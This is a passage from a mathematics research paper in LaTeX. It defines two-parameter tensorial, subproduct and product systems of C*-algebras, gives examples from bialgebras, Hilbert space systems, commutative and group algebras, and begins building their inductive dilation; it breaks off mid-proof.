\left( \Delta\otimes \operatorname {id}_{C^*(\mathscr {A})} \right)\Delta$. The co-multiplication $\Delta$ is constructed in two steps. First of all, we show that the $C^*$-algebras $\mathcal {A}_{s,t}^\sharp$ of the inductive dilation $\mathscr {A}^\sharp=\left(\{\mathcal {A}_{s,t}^\sharp\}_{0<s<t},\,\{\Delta_{r,s,t}^\sharp\}_{0<r<s<t}\right)$ of $\mathscr {A}$ can be assembled into an inductive system (see Proposition \ref{Nov06}), and the quasi-local $C^*$-algebra $C^*(\mathscr {A})$ is *-isomorphic to the inductive limit $\mathcal {A}^\diamond$ of this inductive system (Theorem \ref{March24}). After that, we show that the $C^*$-algebra $\mathcal {A}^\diamond$ can be embedded into $C^*(\mathscr {A})\otimes C^*(\mathscr {A})$, and these identifications allow us to construct the co-multiplication $\Delta$ (see Theorem \ref{April2i}).
In Section \ref{sec5.1}, we study co-multiplicative families of states $\{\varphi_{s,t}\}_{0<s<t}$ of a $C^*$-subproduct system $\mathscr {A}$, i.e., families of states that are invariant with respect to the co-multiplication of the system. We show in Theorem \ref{DK1} that any such family gives rise to an idempotent state of the quasi-local $C^*$-bialgebra $(C^*(\mathscr {A}), \Delta)$, in the sense the \cite{FS}. We also show in Proposition \ref {harici} that the Hilbert spaces obtained by applying the GNS construction to the constituent states of a co-multiplicative family $\{\varphi_{s,t}\}_{0<s<t}$ of a $C^*$-subproduct system $\mathscr {A}$ form a Tsirelson subproduct system of Hilbert spaces $\mathscr {H}_{\{\varphi_{s,t}\}}$. We conclude this article by showing in Theorem \ref{harici1} that the Bhat dilation of the Tsirelson subproduct system of Hilbert spaces $\mathscr {H}_{\{\varphi_{s,t}\}}$ is isomorphic to the Tsirelson subproduct system of Hilbert spaces $\mathscr {H}_{\{\varphi_{s,t}^\sharp\}}$ associated with the inductive dilation $\{\varphi_{s,t}^\sharp\}_{0<s<t}$ of $\{\varphi_{s,t}\}_{0<s<t}$ to the $C^*$-product system $\mathscr {A}^\sharp,$ given by Proposition \ref{DK}.
The main concepts and results of each section, as described above, will be illustrated concretely by using $C^*$-subproduct systems of commutative algebras as a model. Such systems are obtained from two-parameter multiplicative system of locally compact Hausdorff spaces by means of the Gelfand duality, as indicated in Example \ref{examp1}. The techniques used to investigate two-parameter multiplicative systems of compact Hausdorff spaces are based on the use of projective limits, mirroring the inductive limit techniques used in the study of $C^*$-subproduct systems.
We end this introductory section with a brief description of the notation used in this article, most of which is largely standard \cite{Arveson-book}\cite{Tak}. For general facts on inductive limits of $C^*$-algebras, we refer the reader to \cite{Sak}.
In this paper, Hilbert spaces are not necessarily considered separable. The algebra of all bounded linear operators on a Hilbert space $H$ will be denoted $\mathscr {B}(H)$. Given two $C^*$-algebras $\mathcal {A}$ and $\mathcal {B}$, we will denote by $\mathcal {A}\odot \mathcal {B}$ their algebraic tensor product and by $\mathcal {A}\otimes \mathcal {B}$ their injective tensor product. The Borel $\sigma$-algebra on a topological space $X$ will be denoted $\operatorname {Bor}(X)$. The pushforward measure of a measure $\mu$ on a measurable space $X$ along a measurable function $\chi$ on $X$ will be denoted $\chi_*\mu$.
\section{Background: definitions and examples}\label{3b100}
We begin this section by introducing the main concepts studied in this article.
\begin{definition}\label{3b1}
A two-parameter co-multiplicative tensorial system of $C^*$-algebras, hereinafter referred to as a tensorial $C^*$-system, is a pair $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$
consisting of a family $\{\mathcal {A}_{s,t}\}_{0<s<t}$ of $C^*$-algebras $\mathcal {A}_{s,t}$, and a family $\{\Delta_{r,s,t}\}_{0<r<s<t}$
of *-homomorphisms $\Delta_{r,s,t}: \mathcal {A}_{r,t} \to \mathcal {A}_{r,s}\otimes\mathcal {A}_{s,t}$, called the co-multiplication of the tensorial $C^*$-system $\mathscr {A}$, which is co-associative in the sense that
the diagram
\begin{eqnarray}\label{Nov10d}
\xymatrixcolsep{5pc}\xymatrix@R+=1cm{\ar @{} [dr]
\mathcal {A}_{r,u} \ar[d]^-{\Delta_{r,t,u}}\ar[r]^-{\Delta_{r,s,u}} & \mathcal {A}_{r,s}\otimes \mathcal {A}_{s,u}\ar[d]^-{\operatorname {id}_{\mathcal {A}_{r,s}}\otimes \Delta_{s,t,u}} \\
\mathcal {A}_{r,t}\otimes \mathcal {A}_{t,u} \ar[r]_-{ \Delta_{r,s,t}\otimes \operatorname {id}_{\mathcal {A}_{t,u}} } & \mathcal {A}_{r,s}\otimes \mathcal {A}_{s,t}\otimes \mathcal {A}_{t,u} }
\end{eqnarray}
commutes for all positive real numbers $0<r < s < t < u$, that is, $\left(\operatorname {id}_{\mathcal {A}_{r,s}}\otimes \Delta_{s,t,u}\right)\Delta_{r,s,u}=
\left( \Delta_{r,s,t}\otimes \operatorname {id}_{\mathcal {A}_{t,u}} \right)\Delta_{r,t,u}$.
Here, as well as throughout this paper, $\operatorname {id}_{\mathcal {A}}$ denotes the identity mapping on a $C^*$-algebra $\mathcal {A}$.
A tensorial $C^*$-system $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ is said to be unital, if all $C^*$-algebras $\mathcal {A}_{s,t}$ and all *-homomorphisms $\Delta_{r,s,t}$ are unital.
\end{definition}
We focus mainly on the following two classes of tensorial $C^*$-systems.
\begin{definition}\label{May12022} A tensorial $C^*$-system $\mathscr {A}=(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t})$ is said to be a $C^*$-subproduct system, respectively a $C^*$-product system, if the co-multiplication $\{\Delta_{r,s,t}\}_{0<r<s<t}$ consists of *-monomorphisms, respectively *-isomorphisms, of $C^*$-algebras.
\end{definition}
One can naturally define the notion of morphism of tensorial $C^*$-systems, as follows.
\begin{definition} Suppose that $\mathscr {A}=(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t})$ and $\mathscr {B}=\left(\{\mathcal {B}_{s,t}\}_{0<s<t}, \{\Gamma_{r,s,t}\}_{0<r<s<t}\right)$ are tensorial $C^*$-systems. A morphism from $\mathscr {A}$ to $\mathscr {B}$ is a family $\{\theta_{s,t}\}_{0<s<t}$ of *-homomorphisms $\theta_{s,t}:\mathcal {A}_{s,t}\rightarrow \mathcal {B}_{s,t}$ that make the diagram
\begin{eqnarray}\label{Nov10d}
\xymatrixcolsep{5pc}\xymatrix@R+=1cm{\ar @{} [dr]
\mathcal {A}_{r,t} \ar[d]^-{\Delta_{r,s,t}}\ar[r]^-{\theta_{r,t}} & \mathcal {B}_{r,t}\ar[d]^-{ \Gamma_{r,s,t}} \\
\mathcal {A}_{r,s}\otimes \mathcal {A}_{s,t} \ar[r]_-{ \theta_{r,s}\otimes\theta_{s,t} } & \mathcal {B}_{r,s}\otimes \mathcal {B}_{s,t} }
\end{eqnarray}
commute for all $0<r<s<t$, that is $\Gamma_{r,s,t}\theta_{r,t}=(\theta_{r,s}\otimes \theta_{s,t}) \Delta_{r,s,t}.$
A morphism $\{\theta_{s,t}\}_{0<s<t}$ is said to be a monomorphism, respectively an
isomorphism, of tensorial $C^*$-systems if each *-homomorphism $\theta_{s,t}$ is a *-monomorphism, respectively *-isomorphism. A morphism of unital tensorial $C^*$-systems is said to be unital if each *-homomorphism $\theta_{s,t}$ is unital.
\end{definition}
The notion of dilation of a $C^*$-subproduct system, defined below, also plays a central role in our study.
\begin{definition} A $C^*$-product system dilation of a $C^*$-subproduct system $\mathscr {A}$ consists of a $C^*$-product system $\mathscr {B}$ and a monomorphism from $\mathscr {A}$ to $\mathscr {B}$. \end{definition}
\begin{remarks}\label{Feb21-22}
(a) The class of tensorial $C^*$-systems is directly related to the class of one-parameter tensorial $C^*$-systems, i.e., pairs $\left(\{\mathcal {Z}_{t}\}_{t>0}, \{\Xi_{s,t}\}_{0<s<t}\right)$
consisting of a family of $C^*$-algebras $\{\mathcal {Z}_{t}\}_{t>0}$ and a family $\{\Xi_{s,t}\}_{0<s<t}$
of *-homomorphisms $\Xi_{s,t}: \mathcal {Z}_{s+t} \to \mathcal {Z}_{s}\otimes\mathcal {Z}_{t}$ that satisfy the co-associativity law $$\left(\operatorname {id}_{\mathcal {Z}_{r}}\otimes \Xi_{s,t}\right)\Xi_{r,s+t}=
\left( \Xi_{r,s}\otimes \operatorname {id}_{\mathcal {Z}_{t}} \right)\Xi_{r+s,t},$$ for all $r,\,s,\, t>0$. The transition from one class to another can be done by adapting to our setting Tsirelson's arguments for systems of Hilbert spaces from \cite{Tsi03}. Although we do not intend to explore these connections in depth in this paper, we will briefly describe them below for future reference.
It is straightforward to obtain tensorial $C^*$-systems from one-parameter tensorial $C^*$-systems by simply setting $\mathcal {A}_{s,t}=\mathcal {Z}_{t-s}$, for all $0<s<t$, and $\Delta_{r,s,t}=\Xi_{s-r, t-s}$, for all $0<r<s<t$. The construction of one-parameter systems from two-parameter systems is a bit more involved, requiring a few changes and additions to the the original structure of a tensorial $C^*$-system. More precisely, the system $(\{\mathcal {A}_{s,t}\}_{0\leq s<t}, \{\Delta_{r,s,t}\}_{0\leq r<s<t})$ should (i) be considered over the interval $[0,\infty)$, instead of $(0,\infty)$; (ii) be trivial, in sense that each $C^*$-algebra $\mathcal {A}_{s,t}$ is *-isomorphic to a given $C^*$-algebra $\mathcal {A}$, for all $0\leq s<t$; and (iii) be endowed with a homogeneous flow, i.e., a family $\{\alpha_{s,t}^h\}_{h\geq 0, 0\leq s<t}$ of *-isomorphisms of $C^*$-algebras $\alpha_{s,t}^h:\mathcal {A}_{s,t}\to\mathcal {A}_{s+h, t+h}$ that satisfy the following conditions: $\alpha_{s,t}^0=\operatorname {id}_{\mathcal {A}_{s,t}}$, $\alpha_{s+h, t+h}^{h'}\alpha_{s,t}^h=\alpha_{s,t}^{h+h'}$, for all $h,\, h'\geq 0$ and $0\leq s<t$, and $(\alpha_{r,s}^h\otimes\alpha^h_{s,t})\Delta_{r,s,t}= \Delta_{r+h,s+h,t+h}\alpha_{r,t}^h,$ for all $h\geq 0$ and $0\leq r<s<t$.
If these requirements are met, then by defining $\mathcal {Z}_t=\mathcal {A}_{0,t}$ for all $t>0$ and
$\Xi_{s,t}=\left(\operatorname {id}_{\mathcal {A}_{0,s}}\otimes (\alpha_{0,t}^s)^{-1}\right)\Delta_{0,s,s+t}$, for all $0<s<t$, we obtain that $\left(\{\mathcal {Z}_{t}\}_{t>0}, \{\Xi_{s,t}\}_{0<s<t}\right)$ is a one-parameter $C^*$-tensorial system.
(b) Tensorial $W^*$-systems, including $W^*$-subproduct and product systems, can be defined in a similar way to tensorial $C^*$-systems by making some obvious adjustments. We note that continuous tensor product systems of $W^*$-algebras were also considered by V. Liebscher in \cite{Liebscher}, being defined as $W^*$-product systems over $[0,\infty)$, endowed with a homogeneous flow, as above. Consequently, they can be transformed into one-parameter $W^*$-product systems, following the procedure described in part (a).
\end{remarks}
In the rest of this section, we present a few relevant examples of tensorial $C^*$-systems, $C^*$-subproduct systems and $C^*$-product systems. We begin with two classes of examples that directly highlight the potential of tensorial $C^*$-systems to be studied in connection with both the theory of $C^*$-bialgebras \cite{Woro} and the theory of subproduct and product systems of Hilbert spaces. This perspective will be constantly maintained throughout this article.
\begin{example}\label{quantgr}
Let $(\mathcal {A}, \Delta)$ be a $C^*$-bialgebra, consisting of a $C^*$-algebra $\mathcal {A}$ and a co-multiplication
$\Delta:\mathcal {A}\rightarrow \mathcal {A}\otimes \mathcal {A}$. Define $\mathcal {A}_{s,t}=\mathcal {A}$, for all $0<s<t$, and $\Delta_{r,s,t}=\Delta$, for all $0<r<s<t$. The resulting system
$\mathscr {A}_{\operatorname {triv}}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ is a $C^*$-tensorial system, which we call the trivial tensorial $C^*$-system associated with the $C^*$-bialgebra $(\mathcal {A}, \Delta)$.
\end{example}
\begin{example}\label{exa1}
Let $\mathscr {H}=\left(\{H_{s,t}\}_{0<s<t}, \{U_{r,s,t}\}_{0<r<s<t}\right)$ be a Tsirelson subproduct system of finite dimensional Hilbert spaces. Take $\mathcal {A}_{s,t}=\mathscr {B}(H_{s,t})$, for all $0<s<t$, and $\Delta_{r,s,t}=\operatorname {ad}(U_{r,s,t})$, for all $0<r<s<t$, i.e., $\Delta_{r,s,t}(x)=U_{r,s,t}xU_{r,s,t,}^*$, for every $x\in \mathcal {A}_{r,t}$. Then $\mathscr {A}_{\operatorname {fin}}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ is a $C^*$-subproduct system of matrix algebras.
As in Remark \ref{Feb21-22}(a), one can use Arveson subproduct systems of finite dimensional Hilbert spaces to construct Tsirelson subproduct systems of finite dimensional Hilbert spaces, thus producing $C^*$-subproduct systems of matrix algebras from finite-dimensional Arveson subproduct systems. We note that a complete classification of Arveson subproduct systems of 2-dimensional Hilbert spaces was obtained by B. Tsirelson in \cite{Tsi09a, Tsi09b} (see also \cite{GS} for related results and applications).
\end{example}
Next, we focus on the description of tensorial $C^*$-systems of commutative $C^*$-algebras. This class will be examined in detail throughout this article.
\begin{example}\label{examp1} Let $\mathscr {X}=\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$ be a ``two-parameter multiplicative system of locally compact Hausdorff spaces'', consisting of a family
$\{X_{s,t}\}_{0<s<t}$ of locally compact Hausdorff spaces $X_{s,t}$, and a ``multiplication'' $\{\chi_{r,s,t}\}_{0<r<s<t}$, comprised of continuous functions $\chi_{r,s,t}:X_{r,s}\times X_{s,t}\rightarrow X_{r,t}$ that satisfy the associativity law \begin{eqnarray}\label{assiciative property1}\chi_{r,t,u}(\chi_{r,s,t}\times \operatorname {id}_{X_{t,u}})=\chi_{r,s,u}(\operatorname {id}_{X_{r,s}}\times \chi_{s,t,u}),\end{eqnarray} for all
all $0<r<s<t<u$. Consider the commutative $C^*$-algebra $\mathcal {A}_{s,t}=C_0(X_{s,t})$ of all complex-valued continuous functions on $X_{s,t}$ vanishing at infinity, for all $0<s<t$, and the *-homomorphism $\Delta_{r,s,t}:C_0(X_{r,t})\rightarrow C_0(X_{r,s})\otimes C_0(X_{s,t})$ induced by $\chi_{r,s,t}$, i.e., $\Delta_{r,s,t}f= f\comp\chi_{r,s,t},$
for all $f\in C_0(X_{r,t})$ and $0<r<s<t$, which is obtained by identifying the $C^*$-algebras
$C_0(X_{r,s})\otimes C_0(X_{s,t})$ and $C_0(X_{r,s}\times X_{s,t})$. The resulting system $\mathscr {A}_{\operatorname {com}}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$
is a tensorial $C^*$-system. This system is a $C^*$-subproduct system, respectively a $C^*$-product system, provided that the functions $\chi_{r,s,t}$ are all surjective, respectively bijective. Conversely, using the Gelfand representation and the Gelfand-Kolmogorov theorem, we can easily deduce that any tensorial $C^*$-system $\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ of commutative $C^*$-algebras arises from a two-parameter multiplicative system of locally compact Hausdorff spaces.
A first example of such a system of locally compact spaces can be obtained immediately by taking $X_{s,t}$ to be the half-open interval of real numbers $(s,t]$ and $\chi_{r,s,t}$ to be the projection $(x,y)\mapsto x$ ( the projection $(x,y)\mapsto y$ can also be considered). A second example is that of a two-parameter multiplicative system of compact Hausdorff spaces constructed from a single compact Hausdorff space $X$, by considering cartesian products of copies of $X$ over half-open intervals. More precisely, let $X_{s,t}=\prod_{(s,t]}X$, endowed with the product topology, and $\chi_{r,s,t}:X_{r,s}\times X_{s,t}\rightarrow X_{r,t}$ be the function \begin{eqnarray}\label{cucu7}\chi_{r,s,t}(f,g)(x)=\left\{\begin{array}{cc}f(x),&\mbox{if}\;r<x\leq s\\ g(x),&\mbox{if}\;s<x\leq t \end{array}\right.\end{eqnarray} for all $f\in {X}_{r,s}$, $g\in {X}_{s,t}$, and $r<x\leq t$. Then the resulting system $\left(\{X_{s,t}\}_{0<s<t}, \{\chi_{r,s,t}\}_{0<r<s<t} \right)$ is a two-parameter multiplicative system of compact Hausdorff spaces, and its associated tensorial $C^*$-system is a $C^*$-product system.
\end{example}
By adapting the above method to the setting of locally compact groups, we can also obtain tensorial $C^*$-systems of reduced group $C^*$-algebras, as follows.
\begin{example}\label{cucuu}
Let $\mathscr {G}=
\left(\{G_{s,t}\}_{0<s<t}, \{\mu_{s,t}\}_{0<s<t},\{\chi_{r,s,t}\}_{0<r<s<t} \right)$ be a ``two-parameter multiplicative system of locally compact groups'', consisting of a family
$\{G_{s,t}\}_{0<s<t}$ of locally compact Hausdorff groups $G_{s,t}$ with left Haar measure $\mu_{s,t}$ and Haar modulus $\mathit{\Delta}_{G_{s,t}}$, and a family $\{\chi_{r,s,t}\}_{0<r<s<t}$ of measurable and measure-preserving group homomorphisms $\chi_{r,s,t}:G_{r,s}\times G_{s,t}\rightarrow G_{r,t}$ that are modular invariant, in the sense that that $\mathit{\Delta}_{G_{r,s}\times G_{s,t}} =\mathit{\Delta}_{G_{r,t}}\comp \chi_{r,s,t}$, for all $0<r<s<t<u$, and that satisfy the associativity law (\ref{assiciative property1}).
For any two real numbers $0<s<t$, consider the reduced group $C^*$-algebra $\mathcal {A}_{s,t}=C^*_r(G_{s,t})$ of the group $G_{s,t}$. By identifying the injective tensor product of Banach spaces $L^1(G_{r,s})\otimes L^1(G_{s,t})$ with the Banach space $L^1(G_{r,s}\times G_{s,t})$, for all $0<r<s<t$, we can consider the operators $\Delta_{r,s,t}:L^1(G_{r,t})\rightarrow L^1(G_{r,s})\otimes L^1(G_{s,t})$ induced by the homomorphisms $\chi_{r,s,t}$, that is $\Delta_{r,s,t}f=f\comp \chi_{r,s,t},$ for all $f\in L^1(G_{r,t})$. Each operator $\Delta_{r,s,t}$ admits a unique extension to a *-homomorphism, denoted by the same letter, $\Delta_{r,s,t}: \mathcal {A}_{r,t} \to \mathcal {A}_{r,s}\otimes\mathcal {A}_{s,t}$, and
the resulting system $\mathscr {A}_{\operatorname {red}}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ is a tensorial $C^*$-system.
Proceeding as in Example \ref{examp1}, one can immediately construct a two-parameter multiplicative system of compact groups starting with a compact group $G$ with (normalized) Haar measure $\mu$: set $G_{s,t}=\prod_{(s,t]}G$, for all $0<s<t$, and define $\chi_{r,s,t}:G_{r,s}\times G_{s,t}\rightarrow G_{r,t}$ as in (\ref{cucu7}), for all $0<r<s<t$.
\end{example}
In the following example, we construct $C^*$-product systems from measurable Arveson systems of Hilbert spaces. We only outline the main steps of this construction, whose full details and consequences will be discussed elsewhere.
\begin{example}\label{remus}
Let $E=\left(\{E_{t}\}_{0<t}, \{V_{s,t}\}_{0<s,\, t}\right)$ be a measurable Arveson product system of Hilbert spaces. Consider the direct integral Hilbert space $L^2(E)=\int _{(0,\infty)}^\oplus E_t\,dt$ and the left regular representation $\ell$ of $E$ on
$L^2(E)$ given by $$(\ell_xf)(s)=\left\{\begin{array}{cc} V_{t,s-t}^{-1}(x\otimes f(s-t)),&\mbox{if}\;s>t\\0,&\mbox{if}\;0<s\leq t
\end{array} \right.$$ for all $f\in L^2(E)$, $x\in E_t$ and $t>0$ (see \cite[Prop. 3.3.1]{Arveson-book}). We also consider the $E$-semigroup $\alpha=\{\alpha_t\}_{t\geq 0}$ of $\mathscr {B}(L^2(E))$ induced by $\ell$, i.e., $$\alpha_t(x)=\sum_{n=1}^\infty \ell_{e_n(t)}x \ell_{e_n(t)}^*,$$ for all $x\in\mathscr {B}(L^2(E))$, where
$\{e_n(t)\}_{n\geq 1}$ is an orthonormal basis for $E_t$ chosen so that the mapping $t\mapsto e_n(t)$ is Borel measurable, for all positive integers $n$.
For every $t>0$, let also $A_t$ be the norm-closed linear span $$A_t= \overline{\operatorname {span}}\{\ell_x\ell_y^*\,|\, x,\, y\in E_{t}\}.$$ The spaces $A_t$ are $C^*$-algebras that are isomorphic to the $C^*$-algebra of compact operators, and satisfy the relation
$A_sA_t\subseteq A_{\max (s,t)}$ for all $s,\,t>0$.
Using this, we define the $C^*$-algebra $$
\mathcal {A}_{s,t} = \alpha_s(A_{t-s}),$$ for all $0<s<t$.
Noticing that the $C^*$-algebras $
\mathcal {A}_{r,s}$ and $
\mathcal {A}_{s,t}$ commute, and $
\mathcal {A}_{r,s}
\mathcal {A}_{s,t}\subseteq
\mathcal {A}_{r,t}$, for all $0<r<s<t$, we deduce that the multiplication mapping
$$\mathcal {A}_{r,s}\odot \mathcal {A}_{s,t}\ni x\otimes y\mapsto xy\in \mathcal {A}_{r,t}$$ induces a unique isomorphism of $C^*$-algebras $\Delta_{r,s,t}:\mathcal {A}_{r,s}\otimes \mathcal {A}_{s,t}\to\mathcal {A}_{r,t}$, for all $0<r<s<t$. The resulting system $\mathscr {A}_{\operatorname {ps}}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}^{-1}\}_{0<r<s<t}\right)$ is a $C^*$-product system.
\end{example}
\section{The inductive dilation of a $C^*$-subproduct system}\label{ch3.1}
Let $\mathscr {A}=\left(\{\mathcal {A}_{s,t}\}_{0<s<t}, \{\Delta_{r,s,t}\}_{0<r<s<t}\right)$ be a $C^*$-subproduct system. For any two positive real numbers $0<s < t$, consider the partially ordered set $(\mathscr {P}_{s,t},\subseteq)$ of all finite partitions of the interval $[s,t]$, ordered by inclusion. For any partition $I\in \mathscr {P}_{s,t} $ of the form $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\},$ we define the $C^*$-algebra \begin{eqnarray}\label{jan15}\mathcal {A}_I=
\mathcal {A}_{\iota_0, \iota_1}\otimes \mathcal {A}_{\iota_1,\iota_2}\otimes \dots\otimes \mathcal {A}_{\iota_m,\iota_{m+1}}.\end{eqnarray}
If $J\in \mathscr {P}_{s,t}$ is a refinement of $I$, i.e., $I\subseteq J$, then the partition $J$ can decomposed, with respect to $I$, as \begin{eqnarray}\label{decoopa}J=I_0\cup I_1\cup \cdots \cup I_m,\end{eqnarray} where $I_i=\{j\in J, \iota_i\leq j\leq \iota_{i+1}\}=\{\iota_i=\iota_{i_0}<\iota_{i_1}<\dots<\iota_{i_{n_{I_i}}}<\iota_{i+1}\}\in \mathscr {P}_{\iota_i,\iota_{i+1}},$ for some $n_{I_i}\in\mathbb{N}$.
Accordingly, the $C^*$-algebra $\mathcal {A}_J$ can be decomposed as $
\mathcal {A}_J=\mathcal {A}_{I_0}\otimes \mathcal {A}_{I_1}\otimes\dots\otimes \mathcal {A}_{I_m}.$
\begin{definition}\label{Jan21}Let $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}\in \mathscr {P}_{s,t}$. Consider the *-monomorphism $\Delta_{\{s,t\},I}:\mathcal {A}_{s,t}\to \mathcal {A}_{I}$, defined iteratively as follows: \begin{eqnarray*}\Delta_{\{s,t\},I}=\left\{\begin{array}{llll}\Delta_{\iota_0,\iota_1,\iota_2}, &\mbox{if}\;m=1\\\left(\Delta_{\{\iota_0,\iota_m\},I\setminus\{\iota_{m+1}\}}\otimes \operatorname {id}_{\iota_m,\iota_{m+1}}\right)\Delta_{\iota_0,\iota_m,\iota_{m+1}},
& \mbox{if}\; m\geq 2
\end{array}\right.\end{eqnarray*}
Here $I\setminus\{\iota_{m+1}\}\in \mathscr {P}_{s,\iota_m}$ is the partition obtained by removing the endpoint $t=\iota_{m+1}$ from $I$, and $\operatorname {id}_{\iota_m,\iota_{m+1}}$
is the identity mapping on $\mathcal {A}_{\iota_m,\iota_{m+1}}$.
\end{definition}
\begin{remark}\label{Nov14a}The *-monomorphism $\Delta_{\{s,t\},I}$ can be expanded as
\begin{eqnarray*}\label{cep2}
\Delta_{\{s,t\},I}&=&(\Delta_{\iota_0,\iota_1,\iota_2}\otimes \operatorname {id}_{\iota_2,\iota_3}\otimes\cdots \operatorname {id}_{\iota_m,\iota_{m+1}})
(\Delta_{\iota_0,\iota_2,\iota_3}\otimes \operatorname {id}_{\iota_3,\iota_4}\otimes\dots \operatorname {id}_{\iota_m,\iota_{m+1}})
\cdots\Delta_{\iota_0,\iota_m,\iota_{m+1}}\\
&=& (\operatorname {id}_{\iota_0,\iota_1}\otimes \dots \otimes \operatorname {id}_{\iota_{m-3},\iota_{m-2}}\otimes
\Delta_{\iota_{m-1},\iota_m,\iota_{m+1}})\cdots ( \operatorname {id}_{\iota_0,\iota_1}\otimes \Delta_{\iota_1,\iota_2,\iota_{m+1}})\Delta_{\iota_0,\iota_1,\iota_{m+1}},
\end{eqnarray*}
for all $m\geq 2$.
\end{remark}
\begin{definition} Let $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}\in \mathscr {P}_{s,t}$. For any refinement $J\in \mathscr {P}_{s,t}$ of $I$, decomposed as $J=I_0\cup \ldots \cup I_m$ with respect to $I$, we consider the *-monomorphism $\Delta_{I,J}:\mathcal {A}_I\rightarrow \mathcal {A}_J$, \begin{eqnarray*}\label{jan16}
\Delta_{I,J}=\Delta_{\{\iota_0,\iota_1\}, I_0}\otimes \Delta_{\{\iota_1,\iota_2\}, I_1}\otimes \cdots \Delta_{\{\iota_m,\iota_{m+1}\}, I_m}.\end{eqnarray*}
For $I=J$, we set $\Delta_{I,I}=\operatorname {id}_{\mathcal {A}_I}$.
\end{definition}
\begin{lemma}\label{Aug17} Let $I,\, J\in \mathscr {P}_{s,t}$, $I\subseteq J$. We then have
\begin{enumerate}\item[(i)] $\Delta_{\{s,t\},J}=\Delta_{I,J}\Delta_{\{s,t\}, I};$
\item[(ii)] $\Delta_{I,J}=\Delta_{I\cap[s,u],J\cap[s,u]}\otimes\Delta_{I\cap[u,t], J\cap[u,t]},$ for every $u\in I$, $s<u<t$.
\end{enumerate}
\end{lemma}
\begin{proof} (i) Without loss of generality, one can assume that the partition $I$ is of the form $I=\{s=\iota_0<\iota_1<\iota_{2}=t\}$. The refinement $J$ can then be written as $J=I_0\cup I_1$,
where $I_i=\{\iota_i=\iota_{i_0}<\iota_{i_1}<\dots<\iota_{i_{n_{I_i}}}<\iota_{i+1}\}\in \mathscr {P}_{\iota_i,\iota_{i+1}}$, for some $n_{I_i}\in\mathbb{N}$, $i\in\{0,1\}$. Using Remark \ref{Nov14a} and the co-associativity law (\ref{Nov10d}), we deduce that
\begin{eqnarray*}\label{crazy1}
(\operatorname {id}_{s,\iota_1}\otimes \Delta_{\{\iota_1,t\}, I_1})\Delta_{s,\iota_1,t}=(\Delta_{\iota_0,\iota_1,\iota_{1_1}}\otimes \operatorname {id})\cdots (\Delta_{\iota_0,\iota_1,\iota_{1_{n_{I_1}-1}}}\otimes \operatorname {id})\Delta_{s, \iota_{1_{n_{I_1}}}, \iota_2}.
\end{eqnarray*} Consequently, we obtain that
\begin{eqnarray*}
\Delta_{I,J}\Delta_{\{s,t\}, I}&=&(\Delta_{\{s,\iota_1\}, I_0}\otimes \Delta_{\{\iota_1,t\}, I_1})\Delta_{s,\iota_1,t}=(\Delta_{\{s,\iota_1\}, I_0}\otimes \operatorname {id}_{I_1})(\operatorname {id}_{s,\iota_1}\otimes \Delta_{\{\iota_1,t\}, I_1})\Delta_{s,\iota_1,t}\\
&=&
[(\Delta_{\iota_0,\iota_{0_1},\iota_{0_2}}\otimes \operatorname {id} )(\Delta_{\iota_0,\iota_{0_2},\iota_{0_3}}\otimes \operatorname {id} )\cdots
(\Delta_{\iota_0,\iota_{0_{n_{I_0}-1}},\iota_{0_{n_{I_0}}}}\otimes \operatorname {id})\Delta_{\iota_0,\iota_{0_{n_{I_0}}},\iota_{1}}\otimes \operatorname {id}_{I_1}]\\
&\comp&(\operatorname {id}_{s,\iota_1}\otimes \Delta_{\{\iota_1,t\}, I_1})\Delta_{s,\iota_1,t}\\&=&
(\Delta_{\iota_0,\iota_{0_1},\iota_{0_2}}\otimes \operatorname {id} )(\Delta_{\iota_0,\iota_{0_2},\iota_{0_3}}\otimes \operatorname {id} )\cdots
(\Delta_{\iota_0,\iota_{0_{n_{I_0}-1}},\iota_{0_{n_{I_0}}}}\otimes \operatorname {id})(\Delta_{\iota_0,\iota_{0_{n_{I_0}}},\iota_{1}}\otimes \operatorname {id})\\
&\comp&(\Delta_{\iota_0,\iota_1,\iota_{1_1}}\otimes \operatorname {id})\cdots (\Delta_{\iota_0,\iota_1,\iota_{1_{n_{I_1}-1}}}\otimes \operatorname {id})\Delta_{s, \iota_{1_{n_{I_1}}}, \iota_2}\\&=&\Delta_{\{s,t\}, J}.
\end{eqnarray*}
(ii) Suppose that $I=\{s=\iota_0<\iota_1<\iota_2<\,\dots<\iota_m<\iota_{m+1}=t\}\in \mathscr {P}_{s,t}$, and let $ J=I_0\cup \ldots \cup I_m$ be the decomposition of $J$ with respect to $I$. Let $k$ be a positive integer, $1\leq k\leq m$, such that $u=\iota_k$. Then $I\cap[s,u]\in \mathscr {P}_{s,\iota_k}$, $I\cap[s,u]\subseteq J\cap[s,u]$, $I\cap[u,t]\in \mathscr {P}_{\iota_k, t}$, $I\cap[u,t]\subseteq J\cap[u,t]$, $J\cap[s,u]=I_0\cup \ldots \cup I_{k-1}$, and $J\cap[u,t]=I_k\cup \ldots \cup I_m$. It follows that
